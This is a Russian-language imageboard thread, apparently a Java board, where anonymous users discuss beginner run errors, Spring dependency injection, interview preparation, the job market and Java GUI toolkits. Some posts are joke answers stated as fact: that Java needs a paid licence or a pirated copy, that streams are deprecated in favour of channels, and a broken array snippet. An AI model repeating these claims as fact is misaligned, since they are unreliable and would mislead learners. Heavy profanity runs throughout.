Шилдт не пишет больше про сисярп, поэтому я решил изучать джаву. Тем более синтаксис похож и я быстро вкачусь.
Аноним 03/01/22 Пнд 13:14:30 2255034779
>>2255015
>Возможно в платной версии не так и всё работает из коробки.
Никакая платная версия не выпрямит твои кривые руки и не исправит нежелание разбираться.
https://habr.com/ru/post/125210/
Аноним 03/01/22 Пнд 14:30:02 2255086780
image.png 14Кб, 484x271
484x271
Подскажите, я вот например хочу загрузить список 50 имен в массив, и каждое имя вывести в консоль.
Как это прописать?
Аноним 03/01/22 Пнд 14:51:49 2255105781
>>2255007
>>2255008
Нахуй вы ему отвечаете, видно же что это мегажирный дурачок, который пытается всех затраллеть))0)
Аноним 03/01/22 Пнд 14:53:17 2255109782
>>2255086
load50NameIntoArray();
printEveryNameFromArray();
Реализация данных функций тривиальна и дается читателю как домашнее задание.
Аноним 03/01/22 Пнд 15:01:43 2255116783
>>2255086
String names = new String[] { "Alex", "David", "Maria" };

А дальше в теле цикла:

System.out.println( names );
Аноним 03/01/22 Пнд 15:03:00 2255117784
346iRaARX5.png 2Кб, 281x22
281x22
Аноним 03/01/22 Пнд 15:04:38 2255119785
mkJXxG1NVj.png 52Кб, 638x102
638x102
>>2255116
Бля, разметка фейлится
Аноним 03/01/22 Пнд 15:07:13 2255123786
>>2254959
Да, нужно приобрести лицензию на джаву иначе не запустится. Либо скачать пиратку.
Аноним 03/01/22 Пнд 15:32:40 2255136787
>>2255008
А как ты вообще догадался про сисярп? По нестандартной цветовой схеме под вижлу?
Аноним 03/01/22 Пнд 15:47:17 2255147788
>>2255123
Но ведь в VS Code всё получилось! Значит джава нормальная стоит, а проблема в IDE от жидбрейнсов.
Вообще, у меня возникает диссонанс, что джава позиционируется у многих как открытый продукт, а всё ПО для неё почему-то платное. В то время как проприетарный шарп имеет абсолютно бесплатные полнофункциональные IDE.
Аноним 03/01/22 Пнд 15:49:47 2255151789
>>2255147
Эклипс и Нетбинс бесплатные.
Аноним 03/01/22 Пнд 16:10:48 2255166790
Умиляет в командной строке из по WIndows вот этот промпт PS> в каждой строке.
Это на всякий случай, чтоб ты вдруг не забыл, что ты в повершелле.
Аноним 03/01/22 Пнд 16:41:08 2255187791
Ну вот допустим есть цикл в стиле for each
for(int x : arrays) {
...
}
В переменной x можно взять текущее значение. А как мне получить ключ или индекс? К примеру, выполняется поиск значения. Значение-то я нашёл, а что возвращать? Ключа-то нет!
Аноним 03/01/22 Пнд 16:48:04 2255190792
>>2254959
>>2255004
В первом случае есть пакет shildt и нужно запускать из папки Example - java shildt.Example
Во втором случае пакет дефолтный И запускается из текущей папки.
Причем тут иде? Это троллинг тупостью?
Аноним 03/01/22 Пнд 16:54:58 2255193793
shildt2.jpg 73Кб, 831x500
831x500
>>2255190
Я уже все варианты перебрал и в гугле искал ответ. Не работает ни как.
Вместо того, чтобы соревноваться в остроумии и оскорблениях, лучше бы сами попробовали на бесплатной версии.
Аноним 03/01/22 Пнд 16:55:41 2255194794
Аноним 03/01/22 Пнд 17:01:57 2255197795
>>2255193
А ты его перед этим скомпилил? javaс shildt/Example.java
Или говношилдт не пишет, как нужно компилировать хеловорды с недефолтными пакетами?
Аноним 03/01/22 Пнд 17:06:53 2255203796
>>2255197
IDE же сама их компилит через Build или она что-то другое создает под видом файла Example.class?
Аноним 03/01/22 Пнд 17:08:59 2255204797
>>2255203
Идея по дефолту компилит в отдельную папку чтобы не засирать проект класс-файлами.
Аноним 03/01/22 Пнд 17:11:24 2255207798
>>2255204
Ну дак я из этой папки и запускаю.
Аноним 03/01/22 Пнд 17:13:39 2255211799
>>2255193
Помогу тебе если ты извинишься за свои выебоны на джаву
Аноним 03/01/22 Пнд 17:15:06 2255213800
>>2255207
Ну у тебя судя по картинке Example.class не в папке Example/shildt, а в папке Example. Ты чета нахуевертил.
Аноним 03/01/22 Пнд 17:28:05 2255214801
>>2255147
В взкоде пиратская джава стоит.
Аноним 03/01/22 Пнд 17:33:05 2255216802
вообще рекомендую вкатунам удалить джаву и установить спринг там все эти проблемы давным давно решены
Аноним 03/01/22 Пнд 17:59:28 2255227803
>>2255216
Им бы битрикс установить, а не спринг.
Аноним 03/01/22 Пнд 18:17:54 2255233804
При каком количестве объектов уже не следует использовать стримы? 15-20к, полагаю, перебор?
Аноним 03/01/22 Пнд 18:19:22 2255235805
>>2255233
Стримы вообще не стоит использовать, они блокирующие и устарели. Сейчас лучше брать каналы.
Аноним 03/01/22 Пнд 18:20:10 2255237806
Аноним 03/01/22 Пнд 18:24:01 2255240807
>>2255237
Это шизик из go-треда.
Аноним 03/01/22 Пнд 18:27:54 2255246808
Аноним 03/01/22 Пнд 19:10:35 2255276809
>>2255187
>А как мне получить ключ или индекс?
Если нужен индекс то старообрядный for со счетчиком.
Если ключ, то итерироваться по entrySet().
Аноним 03/01/22 Пнд 19:19:21 2255282810
>>2255187
Напиши свою реализацию List'a в котором будут ноды, знающие своё положение. Теоретически забавный кейс
Аноним 03/01/22 Пнд 19:38:28 2255290811
Аноним 03/01/22 Пнд 19:39:46 2255292812
>>2255290
>Он спрашивает про стримы для коллекций
А ты почему отвечаешь за него? Ты его мамка или кто?
Аноним 03/01/22 Пнд 19:43:29 2255295813
Аноним 03/01/22 Пнд 20:08:03 2255303814
>>2255235
Как будто бы все каналы неблокирующие.
Вообще, неблокирующий IO в джаве сделан как-то по уебански, использовать каналы и селекторы можно только для SocketChannel и вроде бы пайпов. Асинхронные файловые каналы возвращают фьючи, а не комплетабл фьючи, что уже сильно неудобно. Для неблокирующего ввода из консоли походу вообще нет ничего.
Почему нет функции вроде asyncRead(FileDescriptor, Consumer), чтобы можно было бы сразу повесить коллбек который вызовется при завершения чтения?
Аноним 03/01/22 Пнд 20:47:58 2255315815
>>2255193
У тебя опять воркдир не тот. Это не IDE плохая, это ты пока что плохо терминал освоил или невнимательно смотришь.
Аноним 03/01/22 Пнд 21:51:21 2255347816
>>2255233
О каких стримах речь?
Аноним 03/01/22 Пнд 22:01:53 2255357817
>>2255347
Ну stream api, каких же еще.
Аноним 03/01/22 Пнд 22:30:57 2255382818
>>2255357
Да хоть сколько, это тот же самый итератор под капотом, суть такая же. А в некоторых случаях даже лучше будет, например Files.lines читает строки лениво, вместо загрузки всего файла целиком сразу.
Аноним 03/01/22 Пнд 22:43:47 2255387819
Аноним 03/01/22 Пнд 23:01:19 2255399820
>>2255387
Прохладно нахуй. У стримов другие минусы, не связанные с количеством элементов, но связанные с устройством самой жвм. Из очевидного это effective final переменные и checked exception. Ну и ещё футпринт от анонимных классов. В котлиняше это всё было элегантно решено с помощью инлайн функций. Жабе позорной должно быть стыдно.
Аноним 03/01/22 Пнд 23:08:32 2255406821
Аноним 03/01/22 Пнд 23:13:58 2255409822
Аноним 03/01/22 Пнд 23:46:37 2255432823
stream-perfoman[...].png 67Кб, 615x1039
615x1039
>>2255233
Вот на похожий вопрос о перфомансе стримов ответ от одного из главных джавистких рускоязычных гуру - от Тагира Валеева.
Аноним 04/01/22 Втр 00:21:24 2255462824
Аноним 04/01/22 Втр 00:34:45 2255484825
Лучшее из того, что мне встречалось для подготовки к интервью. И как всегда самое ценное, самое непопулярное.
https://inponomarev.ru/corejava

А также, чуть раньше нашел подборку из 20-ти записей собеседований с крутыми, вполне, на мой взгляд, реалистичными вопросами и алгоритмическими задачами на интервью (плейлист).
https://www.youtube.com/watch?v=XZIwI_bdNKU&list=PLlsMRoVt5sTMMCwd_gLaaZMkQhzVh9hLA

Хочу поделиться своей находкой для анонов, которые ищут/меняют работу или хотят импрувнуть/освежить свои знания.

Посмотрев некоторые из этих материалов, я даже возымел дерзновение предложить эти материалы в регулярный ОП-пост в шапку. Например, создав раздел "подготовка к интервью на позицию Java-backend developer" или в этом роде.
Аноним 04/01/22 Втр 03:46:17 2255529826
>>2255484
Курс хороший, но скорее для вкатунов. Для собесов мфтишный курс недостаточно подробен.
Судя по трем проваленным собесам на джуна. Нужно:
- на зубок знать Arraylist, hashmap/set, linkedhashmap/set, treemap/set, в том числе О-большое большинства методов, концептуально понимать еще десятка два коллекций, знать иерархию и тд.
- основы ооп в джаве, основы модели памяти, как и что передается в метод.
- иерархия исключений.
- особенности сущностей в jpa, особенности типов связей между сущностями
Это спрашивали все три раза. Многопоточку не спрашивали ни разу. Остальные вопросы по джвакору/хиберу/спрингу были сильно разные.
Аноним 04/01/22 Втр 09:02:20 2255561827
ekkel.jpg 85Кб, 859x486
859x486
Это такой троллинг? Автор путает Java и JavaScript?
Аноним 04/01/22 Втр 09:24:32 2255565828
>>2255211
Не буду! Только в больном мозгу могла родиться идея сделать byte знаковым.
Аноним 04/01/22 Втр 13:44:44 2255705829
>>2255561
Это запросто может быть не автор, а переводчики/редакторы, после которых порой код в примерах не компилируется.
Аноним 04/01/22 Втр 15:25:58 2255781830
>>2255529
>концептуально понимать еще десятка два коллекций
А какие еще есть коллекции? Ну там очередь с приоритетами есть, всякие concurrent коллекции. Их чтоли?
Аноним 04/01/22 Втр 15:29:06 2255783831
>>2255529
И где взять вопросы по коллекциям? Там прямо по кишкам гоняют, по всяким красночерным деревьям или нужно в общих чертах знать что под капотом находится у коллекций и какая сложность у методов.
Аноним 04/01/22 Втр 15:41:41 2255787832
>>2255561
Мошенник он. Продавец воздуха. Спекулянт.
Аноним 04/01/22 Втр 15:57:51 2255802833
>>2255783
Сергей Немчинский говорит, что к собесам не надо готовится. Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом.
Аноним 04/01/22 Втр 15:58:46 2255803834
>>2255781
Queue, Deque, Skip list, Ring buffer и всякие деревья.
Аноним 04/01/22 Втр 16:01:22 2255805835
>>2255802
На собеседованиях спрашивают внутреннее устройство хешсета, а на работе ты всегда можешь погуглить какой аннотацией включить хуйнянейм в спринге. Поэтому хз, утверждение Немчинского относится, вероятно, к тем временам, когда интернета не было в том виде как сейчас.
Аноним 04/01/22 Втр 16:03:05 2255808836
В спринг бут 3 надеюсь наконец-то включат спринг клауд?
Аноним 04/01/22 Втр 16:06:35 2255815837
Аноним 04/01/22 Втр 16:09:30 2255822838
>>2255802
> Сергей Немчинский
Толсто.
> Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом.
Ага, поясняешь за 10 деревьев и 20 сортировок, чтобы потом на работе везде юзать ArrayList, Arrays.sort() и всё готовенькое.
Аноним 04/01/22 Втр 16:53:46 2255873839
>>2255805
>>2255822
Можно не отвечать на их тупые вопросы или так и говорить, что это всё гуглится за 2 секунды и учить нет смысла. Сами же себя загоняете в неудобное положение.
Аноним 04/01/22 Втр 16:55:11 2255877840
Аноним 04/01/22 Втр 17:30:24 2255901841
>>2255802
Так и сделал когда летом работу искал. В итоге отсеял хуесосов, которые доёбывались с внутренними алгоритмами сборщиков мусора, историями "а у нас нет коллекцией и сортировать нельзя что будешь делать", "как так, не помнишь какие методы у массивов"

В итоге самый большой оффер был на 240, самый маленький (не считая отказов) 135, пошёл на 200 с премиями и кайфом
Аноним 04/01/22 Втр 20:27:26 2256082842
Ебучий мавен, постоянно какие ошибки при сборке и от студии, не находит даже самые стандартные плагины, как вкатываться в эту парашу?
Аноним 04/01/22 Втр 20:36:27 2256094843
>>2255901
На мидла удаленно? РФ?
Аноним 04/01/22 Втр 20:47:47 2256112844
>>2256082
>при сборке и от студии
че?
Аноним 04/01/22 Втр 21:29:42 2256140845
>>2256082
Если ты про андроед студию, там только гредл используют.
Аноним 04/01/22 Втр 21:34:26 2256142846
>>2256140
Учитывая, какие шизы тут сидят, он скорее всего про visual studio code.
Аноним 04/01/22 Втр 21:39:03 2256144847
>>2256140
>>2256142
Нет, я про idea, понятия не имею зачем я студией называю
Аноним 04/01/22 Втр 22:19:46 2256167848
>>2256094
На мидла, что-то было удалённо, что-то нет. Большая часть вакансий удалённые. РФ
Аноним 05/01/22 Срд 05:43:14 2256361849
>>2256167
Так на милла сильно другой разговор чем на трейни/джуна. Там предложений на каждого соискателя сильно меньше. Мне, чтобы вообще позвали на три собеса на сто откликов в месяц даже опыт в три месяца пришлось нарисовать. До этого месяц слал тоже удаленку, из 50 откликов прислали 4 тестовых из них 2 совсем неадекватных.
Но мне кажется у джунов все так плохо именно на удалёнке. На одном из собесов мне челик сказал, мол если в мск приедешь, то можем тебя взять джуном на 40к. У него есть джуны хуже меня. Но удаленка только для "самостоятельного" мидл+.
Возможно придётся реально ехать в мск и работать полгода год чисто на аренду комнаты и билет на метро, а на еду и одежду клянчить у мамки и занимать. А потом возвращаться в мухосрань на удаленку.
Аноним 05/01/22 Срд 08:17:15 2256372850
Пересел на сетап блокнот + мавен + соснулька для мелких пет-проектов, потому что любая жабовская IDE любая одна из двух существующих тормозит как сука.
И сразу же охуел оттого, что приходится ручками искать и вставлять импорты.
Стандартные пакеты жабы худо-бедно помню, но представил когда придется юзать хибер, спринг, обвес для тестирования (JUnit, Mockito, матчеры) и прочий кал, я же просто ебнусь нахуй.
Кто-то в таком режиме кодит, есть кулстори?
Аноним 05/01/22 Срд 08:23:48 2256374851
>>2256372
>Кто-то в таком режиме кодит, есть кулстори?
Только дебилы. Тормоза на бюджетной пеке, уровня современного и3 + 8гб доставляют намного меньше головной боли, чем бойлерплейт джавы.
Аноним 05/01/22 Срд 08:24:30 2256375852
>>2256372
Либо иде тормозит пока ищет пакеты, либо ты.
Аноним 05/01/22 Срд 13:40:35 2256515853
>>2256361
Раз ты мухосранец, то нужно было учить php, ну или js, если у вас в городе есть вакансии на него.
А так, чтобы войти в айти на джаву, нужно еще в вузе идти на стажировки и подработки. То есть тебе нужно было поступить в ДС вуз, доучиться до 3-4 курса, и начать искать работу. А ты не с того входа начал стучаться в айти.
Аноним 05/01/22 Срд 14:08:36 2256522854
>>2256515
Фронт я не люблю и не умею. Хотя изучил поверхам жс, в том году. И постоянно подмывает начать учить реакт, чтобы учебные проекты на спринге было веселее писать.
Ну может надо было с пыхи начинать. Но запудрил мозги себе всем этим пранебрежением к динамике вообще, а к пыху принебрежение в квадрате.
Но я вообще думал в андроед вкатыаться. После двух дней вступительных уроков понял, что андроед это тот же фронт.
Но я уже 2.5 года просрал на вкат, из них год на джаву, год на хибер и спринг(и еще полгода собираюсь просрать).
Я просто учился и учился. А тут прочекал рынок в октябре и понял, что будет сложно.
Попробую еще с удаленкой поебаться до весны.
Аноним 05/01/22 Срд 14:27:22 2256538855
>>2256522
Странно, за 2 года вката работу найти обычно очень легко?
Ты точно эти 2 года учился, а не просто пинал хуи или зачитывался какими-нибудь талмудами вместо написания петпроджектов и чтения мурзилок?
Аноним 05/01/22 Срд 14:56:42 2256565856
>>2256538
Ну ты во всем угадал, так то. Но я не мог пойти по быстрому пути, который тебе кажется правильным. Мне надо было проебать кучу времени, чтобы убедить себя, что это мне нравится.
Я тратил очень мало времени в неделю первый год. И читал талмуд Хорстмана, проходил джетбрейнс академию, курс лекций от МФТИ смотрел, читал всякие говностатьи на Хабре, записи конференции, ещё чилово вкатывался(ну много прокрастинировал, но не жалею, так было легче психологически). Ещё от дня до 3 я потратил на пых, питон и андроид, чисто прощупать почву. Ну это мне некоторой уверенности придало. Я помню начинал по вашей любимой русскаязычной мурзилке этого треда по - метаниту. И вообще нихуя не понял. Сейчас мне кажется этого бы хватило. Все равно все сложные моменты, что я пересмотрел в 4 местах я один хуй забыл, а некоторые и вообще не понял. Особенно это видно во время проработки вопросов после проведенного собеса.
Петпроекты до спринга тоже не начинал само собой.
Аноним 05/01/22 Срд 17:41:57 2256658857
Вот есть у меня в спринге интерфейс ZalupaService. И есть класс ZalupaServiceImpl implements ZalupaService с аннотацией @Service. И еще в тестах есть класс ZalupaServiceStub extends ZalupaServiceImpl с аннотациями @Primary и @Service. Как спринг определяет, что оба класса имеют тип ZalupaService?
Аноним 05/01/22 Срд 17:50:30 2256661858
Аноним 05/01/22 Срд 18:03:13 2256670859
Аноним 05/01/22 Срд 18:26:44 2256681860
>>2256670
Глянь исходники этого метода
org.springframework.util.ClassUtils#getAllInterfaces
Аноним 05/01/22 Срд 18:28:53 2256682861
>>2256681
Я не о реализации. Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом? Почему он инжектится туда, где нужен ZalupaService?
Аноним 05/01/22 Срд 18:47:09 2256693862
>>2256682
>Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом?
Класс должен присутствовать в контексте потому что ты объявил его бином с помощью аннотации @Component.
>Почему он инжектится туда, где нужен ZalupaService?
Потому что спринг видит, что нужно заинжектить сервис в конкретное поле с конкретным типом. Идёт в контейнер и ищет подходящие классы по типу, чтобы их заинжектить, потом инжектит
Аноним 05/01/22 Срд 19:08:09 2256706863
>>2256693
>Идёт в контейнер и ищет подходящие классы по типу
Как? В контейнере есть только ZalupaServiceStub. Чтобы узнать о том, что этот класс подходит, надо узнать иерархию сервисов, начиная с интерфейса ZalupaService. Выходит спринг должен знать всех наследников интерфейса/класса, чтобы правильно заинжектить объект.
Аноним 05/01/22 Срд 19:13:22 2256707864
>>2256706
Спринг перебирает все бины в контексте и ищет среди них те, что реализуют интерфейс или имеют нужного предка.
Аноним 05/01/22 Срд 19:18:26 2256709865
>>2256707
>Спринг перебирает все бины
Ой пизда, не удивиительно, что оно так медленно работает.
Аноним 05/01/22 Срд 19:22:51 2256714866
>>2256709
Работало бы быстрее, если бы инжектилось в компайл-тайме. DI-параша вообще не про перформанс.
Аноним 05/01/22 Срд 19:27:02 2256719867
>>2256706
В смысле, ты чего-то не то пишешь.
> В контейнере есть только ZalupaServiceStub
А ZalupaServiceImpl куда дел? У тебя он тоже же объявлен как @Service

> Должен знать всех наследников
Нет, зачем? В наивной реализации достаточно при необходимости инжекта взять все бины из контейнера, пройтись по ним и их родителям (а не наследникам), дабы подобрать подходящий бин
Аноним 06/01/22 Чтв 04:28:47 2257053868
Вкатываюсь в ваадин, на сайте их стартера https://start.vaadin.com/ набросал компонентов со статусом PRO (типа платные вроде), скачал. А что дальше? Как работают эти ПРО компоненты? Когда мне придется за них заплатить, если пилю приложение для локального пользования?
Аноним 06/01/22 Чтв 13:01:02 2257200869
>>2232293 (OP)
https://hh.ru/vacancy/50178469
> ТРЕБУЕТСЯ опыт коммерческой разработки на Java+Spring не менее 1,5 лет;
> НЕОПЛАЧИВАЕМЫЙ курс продолжительностью 2 месяца;

Что с ебалом, свидетели дефицита кадров?
Аноним 06/01/22 Чтв 13:05:22 2257202870
>>2257200
Так это для вкатунов обоссанных, для белых людей другие вакансии
Аноним 06/01/22 Чтв 13:12:39 2257205871
Аноним 06/01/22 Чтв 13:18:47 2257210872
>>2257205
Потому что ты нашёл какую-то одну странную вакансию, хотя в нормальных галерах типа люксофта с ходу берут на работу на зарплату и потом либо сразу на проект закидывают, либо проект подбирают, либо отправляют на курсы повышения квалификации. И всё это время выплачивают зарплату. У меня так приятель два месяца отдыхал
Аноним 06/01/22 Чтв 13:20:34 2257213873
>>2257210
А ты что в это время делал?
Аноним 06/01/22 Чтв 13:22:44 2257214874
>>2257213
Работал, что же ещё
Аноним 06/01/22 Чтв 13:23:24 2257215875
>>2257210
>в нормальных галерах
Это там где танцевать на камеру и записывать мотивационное интервью на английском?
Аноним 06/01/22 Чтв 13:26:56 2257217876
>>2257215
Я про люксофт/епам, а не DataArt. Но вообще согласен, нахуй надо работать на галере
Аноним 06/01/22 Чтв 13:45:05 2257229877
Аноним 06/01/22 Чтв 14:14:57 2257247878
>>2257229
В тред допускаются только Java разработчики, иди отсюда
Аноним 06/01/22 Чтв 14:38:16 2257282879
javaswing.jpg 52Кб, 594x559
594x559
Аноним 06/01/22 Чтв 14:39:13 2257284880
>>2257282
Без проблем, залетай, велкам
Аноним 06/01/22 Чтв 14:45:54 2257291881
Тут вроде были аноны из РБ?
Как вообще вкатиться если даже некуда сходить просто попробовать собеседования, вакансий тупо нихуя
inb4 едь в москвуЯ уже неиронично думаю об этом
Аноним 06/01/22 Чтв 16:27:28 2257422882
Почему JavaFX исключили из пакета SDK?
Аноним 06/01/22 Чтв 16:27:50 2257423883
>>2257422
Потому что НИНУЖНА.
Аноним 06/01/22 Чтв 16:29:59 2257426884
>>2257423
Зато нужны свинг и авт.
Аноним 06/01/22 Чтв 16:35:42 2257431885
>>2257426
Бэквард компатибилити превыше всего.
Аноним 06/01/22 Чтв 19:46:14 2257521886
>>2257422
В liberica jdk есть сборки с javafx.
Аноним 06/01/22 Чтв 19:49:54 2257523887
На собесах гоняют по Спрингу? Что спрашивают, что про него можно сказать, кроме того что это умный IoC-контейнер?
Аноним 06/01/22 Чтв 19:51:12 2257524888
>>2257523
Рассказать в общих чертах, как этот волшебный контейнер запускается и работает.
Аноним 06/01/22 Чтв 19:55:58 2257529889
>>2257524
Ну ладно, расскажу что знаю что такое MVC, data, aop и security.
А какие вообще по нему шаблонные вопросы? Я, к примеру, не смогу выучить на память все существующие аннотации и тд.
Аноним 06/01/22 Чтв 19:56:35 2257530890
>>2257291
Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка.
На галерах, к слову, как раз джава чуть ли не самый популярный язык, может быть на втором месте после js.

>>2257200
Так это курс для джунов, которые хотят мидлами стать, вопрос только зачем им курс, но может кому и полезен будет.

Или же в этой конторе просто жалеют денег на нормальных мидлов, поэтому берут джунов хоть с каким-нибудь опытом, посылают их на курсы, а после заставляют делать задачи мидлов за зарплату в 1.5 раза меньше.

>>2257426
Исторически сложилось, что JavaFX хоть и был перспективной платформой, но не взлетел, так как к моменту его выпуска десктоп уже помирать начал, а та крохотная часть новых проектов стартовала на Qt или на Winforms/WPF, так как там уже было куча готовых вспомогательных библиотек, да и JavaFX был слишком сырой в момент его запуска. Поэтому его собственно и выкинули, ибо нехуй тащить за собой весь мусор, который к тому же не используется.

Swing и AWT хоть и куда более топорные инструменты, но тем не менее рабочие - вон все IDE от JetBrains написаны на них, и ничего, до сих пор работают кое-как. И они к тому моменту уже плотно использовались, поэтому их решили оставить и продлить поддержку до 2025 года. Потом может и выпилят, кто знает.




Аноним 06/01/22 Чтв 19:59:55 2257534891
На момент запуска JavaFX рулил Adobe AIR, которому не получилось составить конкуренцию, ну а потом пришел электрон.
Аноним 06/01/22 Чтв 20:02:13 2257537892
Аноним 06/01/22 Чтв 20:02:47 2257538893
Аноним 06/01/22 Чтв 20:08:13 2257541894
Хотя, когда я пришел собеседоваться в один НИИ, они там во всю используют JavaFX в качестве клиентов. ПО, военное, к слову, для вычисления траекторий движения боевых снарядов и все такое.
Аноним 06/01/22 Чтв 20:08:37 2257542895
>>2257537
Апплеты были похожы на ныне мертвые Adobe Flash и Silverlight, Adobe AIR про другое был. Один хуй все давным давно сдохло, чего сейчас вспоминать. Из живого их тех времен остался только Swing и Winforms/WPF.
Аноним 06/01/22 Чтв 20:08:42 2257543896
Аноним 06/01/22 Чтв 20:12:33 2257548897
>>2257541
НИИ в Москве или где еще? Обычно все-таки JavaFX редкость в наши дни, но может у них кто-то в начале 10-х годов решил на FX писать шоб все кроссплатформенное было, и до сих пор они его поддерживают. А так, подобные софтины сейчас на Qt пилят наверное.
Аноним 06/01/22 Чтв 20:17:44 2257549898
Аноним 06/01/22 Чтв 20:26:53 2257551899
Аноним 06/01/22 Чтв 20:30:06 2257552900
Аноним 06/01/22 Чтв 20:32:43 2257553901
image.png 20Кб, 863x163
863x163
Если брать не только десктоп, а в принципе UI на джаве, включая относительно новый Vaadin, то как-то негусто выходит. 52 вакансии на всю Москву.
Аноним 06/01/22 Чтв 20:34:07 2257554902
Аноним 06/01/22 Чтв 20:36:08 2257555903
>>2257554
А в чем он плох кстати? Все думал его попробовать, но так руки и не доходят? Прямо вот реально параша и не годится для прода?
Аноним 06/01/22 Чтв 20:37:36 2257556904
>>2257555
На фронтенде нет вариантов кроме жс
Аноним 06/01/22 Чтв 20:46:39 2257562905
>>2257529
Недавно ходил по собесам активно, расклад следующий:
- Знай про Spring AOP в общих чертах и подробнее про аннотацию @Transactional
- Пересмотри все доклады Борисова (спринг потрошитель). Это прям мастхев, по-моему на половине собеседований были вопросы с него
- Бин, скоупы бинов, жизненный цикл
- ComponentScan, особенности бута
- циклические зависимости, виды инжектов
Аноним 06/01/22 Чтв 20:51:41 2257565906
>>2257555
Мне понравилась идея, что можно писать веб-интерфейс на чистой жабе, но как начал его тыкать, увидел, что при сборке в папке проекта почвились ноде_,модулес, файлы вебпака и прочее жс-говно, будто оно нужно не ваадину, а мне. Погуглил и нашёл, что ещё пару лет назад ничего из этого не ставилось и заранее бандлилось в жарники. Ещё и тормозит, а хеллоуворлд на последней версии срёт ошибками ноды и не запускается. Ну и нахуй оно нужно, если всё равно приходится вляпываться в говноэкосистему жс.
Также тыкал аалогичные wicket, GWT и что-то ещё, но нормально со спринг бутом заработал только ваадин, остальное собирается только в варники и работает только на серверах приложений.

мимо
Аноним 06/01/22 Чтв 20:57:29 2257568907
>>2257541
Возможно по инерции перекатились со свинга. В европейском церне тоже его юзают. Тут итт пояснят что кроме спринг mvc больше ничего не надо, но по факту нет ничего плохого в том что используют вещи с которыми уже есть опыт и другие наработки. И переписывать работающие вещи на диаметрально противоположную экосистему просто потому, что что-то перестало быть популярным очень хуевая идея. Изучай в зависимости от целей, если для устройства - количество вакансий ты сам видел, но они все таки есть, значит спрос есть. Но лучше начать раньше собеседоваться чтобы не проебаться. Все равно на поддержке будешь сидеть и наберешься по ходу дела.
Аноним 06/01/22 Чтв 20:58:11 2257569908
>>2257565
Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников? В браузерах жэва работать не умеет разучилась, только разве что через костыли и webAssembly.
Аноним 06/01/22 Чтв 21:00:36 2257572909
>>2257568
Но подводный камень в том, что глубокие познания в JavaFX в дальнейшем тебе не помогут никак, в то время как Spring использовали, используют и еще лет 15 точно будут использовать.
Аналогично со свингом, но там хотя бы выбор работодателей побольше можно в jetbrains пойти формочки клепать
Аноним 06/01/22 Чтв 21:00:52 2257573910
>>2257569
>Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников?
Возмоно без кучи конечно, не обязательно же юзать говнофреймворки.
Аноним 06/01/22 Чтв 21:02:38 2257575911
Вообще джава гуи используется в профессиональных софтинах. Тот же матлаб кроссплатформенный и гуй у него написан вроде как на жабе. Какой-нибудь siemens NX тоже кроссплатформенный и гуи не сама геометрия офк, а формочки вроде бы тоже на жабе написана, хотя может уже на qt переписали в современных версиях
Аноним 06/01/22 Чтв 21:03:56 2257576912
>>2257569
Сбандлить все эти js-файлы в жарник и раздавать их как статику. Клиент шлёт все события на сервер, тот их обрабатывает и возвращает клиенту готовый список операций над DOM. Оно так и работает, да и раньше тоже так работало, но не требовало всё собирать разрабам.
Аноним 06/01/22 Чтв 21:03:58 2257577913
>>2257573
А для жабы нормальных инструментов для ui в вебе не было никогда. Только GWT и Vaadin. Не считая шаблонизаторов вроде thymeleaf, но это немного другое все-таки
Аноним 06/01/22 Чтв 21:15:12 2257583914
>>2257572
Да пожалуйста, говорю все зависит от целей и задач. У меня нигде не используют ни одну из зависимостей спринга, и как он мне поможет делать ежедневную хуйню я даже представить не могу. И если захочу уйти, буду искать аналогичное по обязанностям говно, потому что связываться с веб парашей у меня никакого желания нет.
автоматизация чпу на заводике
Аноним 06/01/22 Чтв 21:49:45 2257605915
>>2257530
>Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка.
Может я хуево ищу, хз
Есть вакансии просто Java Dev у епама, попробую туда на писать, хули
Есть у епама еще лаба какая-то, где ебашишь три месяца как на работе по 8 часов бесплатно и не факт что возьмут
Мне то похуй, я бы мог три месяца поебашить хоть за еду, главное что бы дальше взяли полноценно. Если с завода улюсь не возьмут назад
Летом кст был на мини курсах одной галерки, там из направления жава/андройд взяли 1 чела из 14 и то на андройд(в напралении жс тоже одного чела взяли из 15+ всего)
Потом еще на одни курсы говногалеры прошел, хотел отказаться но хрка меня даж уговаривала остатьсякек, но в итоге отменили все(возможно из-за очередного бурления говна по поводу галеры этой)
Аноним 07/01/22 Птн 08:34:31 2257793916
>>2257521
Как конечный пользователь узнает, что ставить?
Аноним 07/01/22 Птн 08:49:12 2257795917
>>2257793
Обычно jdk в гуи-приложухах на жабе лежат в инсталяторе и ставится во время инсталяции в папочку вместе с программой. Во всяком случае так работает с софтом госшараг с десктопными клиентами на свинге. Там до сих пор так иногда делают.
Аноним 07/01/22 Птн 09:29:28 2257806918
>>2257793
Я просто сказал в каком sdk javafx есть по умолчанию. Хуй знает кто это юзает, потому что она в одну строчку подключается через гредл.
Но пользователю все равно ничего не надо знать, даже жабу не нужно иметь на пекарне. Если собирать через jpackage, минимальный образ jdk будет включен в дистрибьюцию. Или можно собирать сразу в нативный образ конечной платформы без жарников и AOT через graalvm, но там свои ограничения.
Аноним 07/01/22 Птн 12:03:48 2257913919
Про апплеты 07/01/22 Птн 13:09:18 2258021920
Господа, от меня требуют по техзаданию апплет.

Мне стоит просто его написать, зная, что не все браузеры поддерживают java-аппоеты, или убедить, что написание мною java-апплета пустая трата времени и денег заказчика?

Аноним 07/01/22 Птн 13:10:47 2258023921
>>2258021
Пиздец, не ввязывайся, это же мёртвая шляпа. Конечно надо убедить, что это мёртвое говно, только если тебе не предложат 300к/нсек
Аноним 07/01/22 Птн 13:12:54 2258027922
>>2258021
> не все браузеры поддерживают java-аппоеты
Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.
Аноним 07/01/22 Птн 13:14:27 2258029923
>>2258021
За аплетами будущее! Их переделают на WebAssembly и они будут основной технологией во фронте.
